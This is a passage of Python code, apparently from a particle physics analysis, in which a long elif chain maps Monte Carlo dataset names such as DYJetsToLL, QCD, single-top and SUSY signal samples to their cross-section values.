elif fileName.find("DYJetsToLL_M-50_HT-100to200_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 147.4
elif fileName.find("DYJetsToLL_M-50_HT-200to400_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 41.04
elif fileName.find("DYJetsToLL_M-50_HT-400to600_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 5.674
elif fileName.find("DYJetsToLL_M-50_HT-600to800_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 1.358
elif fileName.find("DYJetsToLL_M-50_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8_CUETP8M1Up") !=-1 : return 5872.0
elif fileName.find("QCD_HT1000to1500_BGenFilter_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 189.4
elif fileName.find("QCD_HT1500to2000_BGenFilter_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 20.35
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 38.06
elif fileName.find("SMS-T2tt_mStop-2050to2800_mLSP-1_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 5.359e-07
elif fileName.find("SMS-T5qqqqVV_dM20_mGlu-600to2300_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003048
elif fileName.find("SMS-T8bbllnunu_XCha0p5_XSlep0p05_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 5.516e-05
elif fileName.find("SMS-T8bbllnunu_XCha0p5_XSlep0p95_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.501e-05
elif fileName.find("SMS-TChiSlepSnu_tauenriched_x0p5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001798
elif fileName.find("ST_FCNC-TH_Thadronic_HToaa_Ctphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.2357
elif fileName.find("ST_FCNC-TH_Tleptonic_HToaa_Ctphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.1178
elif fileName.find("ST_FCNC-TH_Tleptonic_HTobb_Ctphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.1177
elif fileName.find("ST_t-channel_eDecays_anomwtbLVRT_RT4_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 53.7
elif fileName.find("ST_t-channel_muDecays_anomwtbLVLT_LT_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 71.67
elif fileName.find("ST_t-channel_muDecays_anomwtbLVRV_RV_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 24.21
elif fileName.find("ST_tW_top_5f_DS_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 33.67
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5CR1_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5CR2_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("TTJets_SingleLeptFromT_genMET-80_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 32.27
elif fileName.find("DYJetsToLL_M-50_HT-70to100_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 147.4
elif fileName.find("QCD_HT2000toInf_BGenFilter_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 4.463
elif fileName.find("QCD_HT700to1000_BGenFilter_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 978.4
elif fileName.find("ST_tW_top_5f_DS_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 36.21
elif fileName.find("ST_tW_top_5f_PSscaleup_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 38.09
elif fileName.find("ST_FCNC-TH_Thadronic_HToaa_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.02415
elif fileName.find("ST_FCNC-TH_Tleptonic_HToaa_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.01206
elif fileName.find("ST_FCNC-TH_Tleptonic_HTobb_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.01205
elif fileName.find("ST_t-channel_eDecays_anomwtbLVLT_LT_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 71.81
elif fileName.find("ST_t-channel_eDecays_anomwtbLVRV_RV_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 24.12
elif fileName.find("SMS-T8bbllnunu_XCha0p5_XSlep0p5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 6.146e-05
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_TuneCP5down_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5up_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("TTWJetsToLNu_TuneCP5_PSweights_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2198
elif fileName.find("QCD_HT200to300_BGenFilter_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 154400.0
elif fileName.find("QCD_HT300to500_BGenFilter_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 37680.0
elif fileName.find("QCD_HT1000to1500_GenJets5_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 626.0
elif fileName.find("QCD_HT1500to2000_GenJets5_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 67.33
elif fileName.find("QCD_HT500to700_BGenFilter_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 4141.0
elif fileName.find("ST_s-channel_4f_leptonDecays_13TeV-amcatnlo-pythia8_TuneCUETP8M1") !=-1 : return 3.365
elif fileName.find("ST_tW_top_5f_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M2T4") !=-1 : return 38.09
elif fileName.find("ST_tW_top_5f_mtop1695_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 39.9
elif fileName.find("ST_tW_top_5f_mtop1755_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 36.39
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_13TeV-powheg_TuneCUETP8M1") !=-1 : return 38.06
elif fileName.find("ST_t-channel_4f_leptonDecays_13TeV-amcatnlo-pythia8_TuneCUETP8M1") !=-1 : return 67.17
elif fileName.find("SMS-TChiWH_HToGG_mChargino-175_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 2.364
elif fileName.find("SMS-TChipmSlepSnu_mC1_825_1500_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 7.128e-05
elif fileName.find("ST_FCNC-TH_Thadronic_HToaa_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.2221
elif fileName.find("ST_FCNC-TH_Tleptonic_HToaa_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.1109
elif fileName.find("ST_FCNC-TH_Tleptonic_HTobb_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.111
elif fileName.find("ST_tW_DS_antitop_5f_inclusiveDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 35.13
elif fileName.find("TTJets_SingleLeptFromT_TuneCUETP8M2T4_13TeV-amcatnloFXFX-pythia8") !=-1 : return 159.3
elif fileName.find("TTJets_SingleLeptFromTbar_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 114.0
elif fileName.find("DYJetsToLL_M-50_HT-1200to2500_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.1933
elif fileName.find("DYJetsToLL_M-50_HT-1200to2500_TuneCP5_14TeV-madgraphMLM-pythia8") !=-1 : return 0.2466
elif fileName.find("QCD_HT2000toInf_GenJets5_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 14.52
elif fileName.find("QCD_HT700to1000_GenJets5_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 3030.0
elif fileName.find("ST_tW_antitop_MEscaledown_5f_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 39.24
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("SMS-TChiWH_WToLNu_HToVVTauTau_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.002159
elif fileName.find("SMS-TSlepSlep_mSlep-500To1300_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.084e-05
elif fileName.find("ST_s-channel_antitop_leptonDecays_13TeV-PSweights_powheg-pythia") !=-1 : return 3.579
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5down_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_TuneCP5up_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCH3_13TeV-powheg-herwig7") !=-1 : return 34.92
elif fileName.find("TTJets_DiLept_genMET-150_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 3.638
elif fileName.find("WJetsToLNu_HT-1200To2500_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 1.329
elif fileName.find("WJetsToQQ_HT-800toInf_qc19_3j_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 34.69
elif fileName.find("DYJetsToLL_M-50_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8_DownPS") !=-1 : return 5735.0
elif fileName.find("DYJetsToLL_M-50_HT-2500toInf_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.003468
elif fileName.find("DYJetsToLL_M-50_HT-800to1200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.8052
elif fileName.find("DYJetsToLL_M-50_Zpt-150toInf_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 22.93
elif fileName.find("QCD_HT300to500_GenJets5_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 70260.0
elif fileName.find("QCD_HT500to700_GenJets5_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 11200.0
elif fileName.find("ST_tW_antitop_5f_DS_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 36.23
elif fileName.find("ST_tW_top_5f_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 38.09
elif fileName.find("ST_t-channel_antitop_5f_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 71.74
elif fileName.find("SMS-T2cc_genHT-160_genMET-80_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.001685
elif fileName.find("SMS-T5ttcc_mGluino1750to2800_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.337e-05
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5CR1_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5CR2_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("TTZPrimeToMuMu_M-1000_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.00154
elif fileName.find("TTZPrimeToMuMu_M-1200_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.0006259
elif fileName.find("TTZPrimeToMuMu_M-1300_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.0004131
elif fileName.find("TTZPrimeToMuMu_M-1400_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.0002778
elif fileName.find("TTZPrimeToMuMu_M-1500_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.0001903
elif fileName.find("TTZPrimeToMuMu_M-1600_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.0001325
elif fileName.find("TTZPrimeToMuMu_M-1700_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 9.353e-05
elif fileName.find("TTZPrimeToMuMu_M-1800_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 6.693e-05
elif fileName.find("TTZPrimeToMuMu_M-1900_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 4.862e-05
elif fileName.find("TTZPrimeToMuMu_M-2000_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 3.577e-05
elif fileName.find("WJetsToLNu_DStarFilter_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 1995.0
elif fileName.find("WJetsToLNu_HT-2500ToInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 0.03209
elif fileName.find("WJetsToLNu_HT-800To1200_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 5.497
elif fileName.find("WJetsToLNu_Pt-100To250_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 627.1
elif fileName.find("WJetsToLNu_Pt-250To400_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 21.83
elif fileName.find("WJetsToLNu_Pt-400To600_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 2.635
elif fileName.find("WJetsToLNu_Pt-600ToInf_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 0.4102
elif fileName.find("WJetsToLNu_Wpt-100to200_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 457.8
elif fileName.find("WJetsToLNu_Wpt-200toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 50.48
elif fileName.find("WJetsToQQ_HT400to600_qc19_3j_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 315.2
elif fileName.find("WJetsToQQ_HT600to800_qc19_3j_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 68.58
elif fileName.find("DYJetsToLL_M-500to700_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 0.2334
elif fileName.find("DYJetsToLL_M-50_HT-100to200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 161.1
elif fileName.find("DYJetsToLL_M-50_HT-200to400_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 48.66
elif fileName.find("DYJetsToLL_M-50_HT-400to600_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 6.968
elif fileName.find("DYJetsToLL_M-50_HT-600to800_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1.743
elif fileName.find("ST_tW_antitop_5f_MEscaleup_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 37.24
elif fileName.find("Test_ZprimeToTT_M-4500_W-45_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.000701
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("MSSM-higgsino_no1l_2lfilter_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.7001
elif fileName.find("SMS-T1qqqq-LLChipm_ctau-200_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.08e-05
elif fileName.find("SMS-T1qqqq-compressedGluino_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.03711
elif fileName.find("SMS-T2tt_dM-10to80_2Lfilter_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.003416
elif fileName.find("SMS-T5ZZ_mGluino-1850to2400_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001696
elif fileName.find("SMS-TChiWZ_ZToLL_dM-90to100_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.01817
elif fileName.find("ST_s-channel_4f_hadronicDecays_TuneCP5_13TeV-amcatnlo-pythia8") !=-1 : return 11.24
elif fileName.find("BdToPsi2sKst_MuTrkFilter_DGamma0_TuneCP5_13TeV-pythia8-evtgen") !=-1 : return 5942000.0
elif fileName.find("ST_s-channel_4f_hadronicDecays_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 11.24
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5up_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("TTJets_SingleLeptFromT_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 114.0
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5down_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("TTZPrimeToMuMu_M-300_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.2194
elif fileName.find("TTZPrimeToMuMu_M-400_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.06842
elif fileName.find("TTZPrimeToMuMu_M-500_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.0287
elif fileName.find("TTZPrimeToMuMu_M-600_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.01409
elif fileName.find("TTZPrimeToMuMu_M-700_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.007522
elif fileName.find("TTZPrimeToMuMu_M-800_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.004257
elif fileName.find("TTZPrimeToMuMu_M-900_TuneCP5_PSWeights_13TeV-madgraph-pythia8") !=-1 : return 0.002515
elif fileName.find("WJetsToLNu_HT-100To200_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 1346.0
elif fileName.find("WJetsToLNu_HT-200To400_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 360.1
elif fileName.find("WJetsToLNu_HT-400To600_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 48.8
elif fileName.find("WJetsToLNu_HT-600To800_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 12.07
elif fileName.find("WjetsToLNu_Pt-50To100_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 3046.0
elif fileName.find("DYJetsToLL_M-50_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8_UpPS") !=-1 : return 6005.0
elif fileName.find("DYJetsToLL_M-50_HT-70to100_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 146.7
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_13TeV-powheg_herwigpp") !=-1 : return 38.06
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_13TeV-powheg_TuneCUETP8M1") !=-1 : return 38.09
elif fileName.find("SMS-T1qqqq-LLChipm_ctau-10_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.144e-05
elif fileName.find("SMS-T1qqqq-LLChipm_ctau-50_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.646e-05
elif fileName.find("SMS-TChiHH_HToBB_HToTauTau_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.328e-07
elif fileName.find("TChiWZ_genHT-160_genMET-80_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.004759
elif fileName.find("ST_tW_DS_top_5f_inclusiveDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 33.67
elif fileName.find("TTWJetsToLNu_TuneCUETP8M1_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2001
elif fileName.find("TTWJetsToLNu_TuneCUETP8M1_14TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2358
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5CR2_GluonMove_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("WJetsToLNu_HT-70To100_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 1353.0
elif fileName.find("WJetsToQQ_HT-600ToInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 99.65
elif fileName.find("DYJetsToLL_M-50_TuneCUETP8M1_13TeV-madgraphMLM-herwigpp_30M") !=-1 : return 14240.0
elif fileName.find("DYJetsToLL_M-50_HT-40to70_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 311.4
elif fileName.find("ST_tW_antitop_fsrdown_5f_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.06
elif fileName.find("ST_tW_antitop_isrdown_5f_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.06
elif fileName.find("ST_tW_top_MEscaledown_5f_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 39.28
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("SMS-T2bb_mSbot-1650to2600_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.174e-06
elif fileName.find("SMS-T2bt-LLChipm_ctau-200_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003144
elif fileName.find("SMS-T2qq-LLChipm_ctau-200_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 9.212e-06
elif fileName.find("SMS-T2tt_mStop-1200to2000_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.823e-05
elif fileName.find("SMS-TChiHH_HToBB_HToBB_2D_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.664e-06
elif fileName.find("ST_s-channel_top_leptonDecays_13TeV-PSweights_powheg-pythia") !=-1 : return 5.757
elif fileName.find("TTJets_SingleLeptFromTbar_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 124.6
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 3.74
elif fileName.find("TTJets_HT-1200to2500_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 0.1194
elif fileName.find("TTJets_SingleLeptFromTbar_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 108.7
elif fileName.find("TTWJetsToQQ_TuneCUETP8M1_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.405
elif fileName.find("TTZJetsToQQ_Dilept_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 0.0568
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5up_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5CR1_QCDbased_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("QCD_HT1000to1500_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 138.2
elif fileName.find("QCD_HT1500to2000_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 13.61
elif fileName.find("SMS-T2bH_HToGG_mSbot-250_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 14.34
elif fileName.find("SMS-T2bt-LLChipm_ctau-10_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0002197
elif fileName.find("SMS-T2bt-LLChipm_ctau-50_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0004198
elif fileName.find("SMS-T2qq-LLChipm_ctau-10_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 8.05e-06
elif fileName.find("SMS-T2qq-LLChipm_ctau-50_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.013e-05
elif fileName.find("SMS-T2tt_mStop-400to1200_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.001795
elif fileName.find("TTJets_HT-2500toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 0.001445
elif fileName.find("TTJets_HT-800to1200_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 0.6736
elif fileName.find("TTJets_DiLept_genMET-150_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 3.655
elif fileName.find("tZq_ll_4f_ckm_NLO_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 0.07358
elif fileName.find("WJetsToLNu_HT-1200To2500_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1.074
elif fileName.find("QCD_HT2000toInf_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 2.92
elif fileName.find("QCD_HT700to1000_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 721.8
elif fileName.find("ST_t-channel_eleDecays_13TeV-comphep-pythia8_TuneCUETP8M1") !=-1 : return 23.9
elif fileName.find("ST_t-channel_tauDecays_13TeV-comphep-pythia8_TuneCUETP8M1") !=-1 : return 23.92
elif fileName.find("ST_tW_antitop_5f_fsrup_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.06
elif fileName.find("ST_tW_antitop_5f_isrup_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.06
elif fileName.find("ST_tW_top_5f_MEscaleup_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 37.28
elif fileName.find("ST_tW_top_5f_inclusiveDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("SMS-T2qq_mSq-1850to2600_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 9.716e-06
elif fileName.find("SMS-T2tt_mStop-150to250_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 20.95
elif fileName.find("SMS-T2tt_mStop-250to350_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.516
elif fileName.find("SMS-TChiWH_WToLNu_HToBB_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.002528
elif fileName.find("VBF-C1N2_leptonicDecays_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003095
elif fileName.find("BdToXKst_MuTrkFilter_DGamma0_TuneCP5_13TeV-pythia8-evtgen") !=-1 : return 7990000.0
elif fileName.find("SMS-T2tt_mStop-350to400_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.487
elif fileName.find("TTJets_HT-600to800_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 1.65
elif fileName.find("TTJets_DiLept_genMET-80_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 22.45
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("WJetsToLNu_HT-2500ToInf_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.008001
elif fileName.find("WJetsToLNu_HT-800To1200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 5.366
elif fileName.find("WJetsToLNu_Pt-100To250_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 779.1
elif fileName.find("WJetsToLNu_Pt-250To400_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 27.98
elif fileName.find("WJetsToLNu_Pt-400To600_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 3.604
elif fileName.find("WJetsToLNu_Pt-600ToInf_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 0.5545
elif fileName.find("DYJetsToLL_M-500to700_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 0.2558
elif fileName.find("DYJetsToLL_M-50_TuneCP5_13TeV-madgraphMLM-pythia8_Fall17") !=-1 : return 5350.0
elif fileName.find("QCD_HT300to500_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 27960.0
elif fileName.find("QCD_HT100to200_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 1275000.0
elif fileName.find("QCD_HT200to300_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 111700.0
elif fileName.find("QCD_HT500to700_BGenFilter_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 3078.0
elif fileName.find("ST_t-channel_muDecays_13TeV-comphep-pythia8_TuneCUETP8M1") !=-1 : return 23.89
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_13TeV-powheg_herwigpp") !=-1 : return 38.09
elif fileName.find("ST_tWnunu_5f_LO_TuneCP5_PSweights_13TeV-madgraph-pythia8") !=-1 : return 0.02099
elif fileName.find("SMS-T1ttbb_deltaM5to25_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 6.074e-05
elif fileName.find("SMS-T5Wg_mGo2150To2800_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.449e-05
elif fileName.find("SMS-T6Wg_mSq1850To2450_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.761e-05
elif fileName.find("SMS-TChiHH_HToBB_HToBB_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.546e-07
elif fileName.find("SMS-TChiHZ_HToBB_ZToLL_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 9.084e-07
elif fileName.find("SMS-TChiStauStau_x0p05_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.000755
elif fileName.find("SMS-TChiStauStau_x0p95_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0007372
elif fileName.find("SMS-TChiZZ_ZToLL_ZToLL_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.096e-06
elif fileName.find("TTJets_SingleLeptFromT_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 124.9
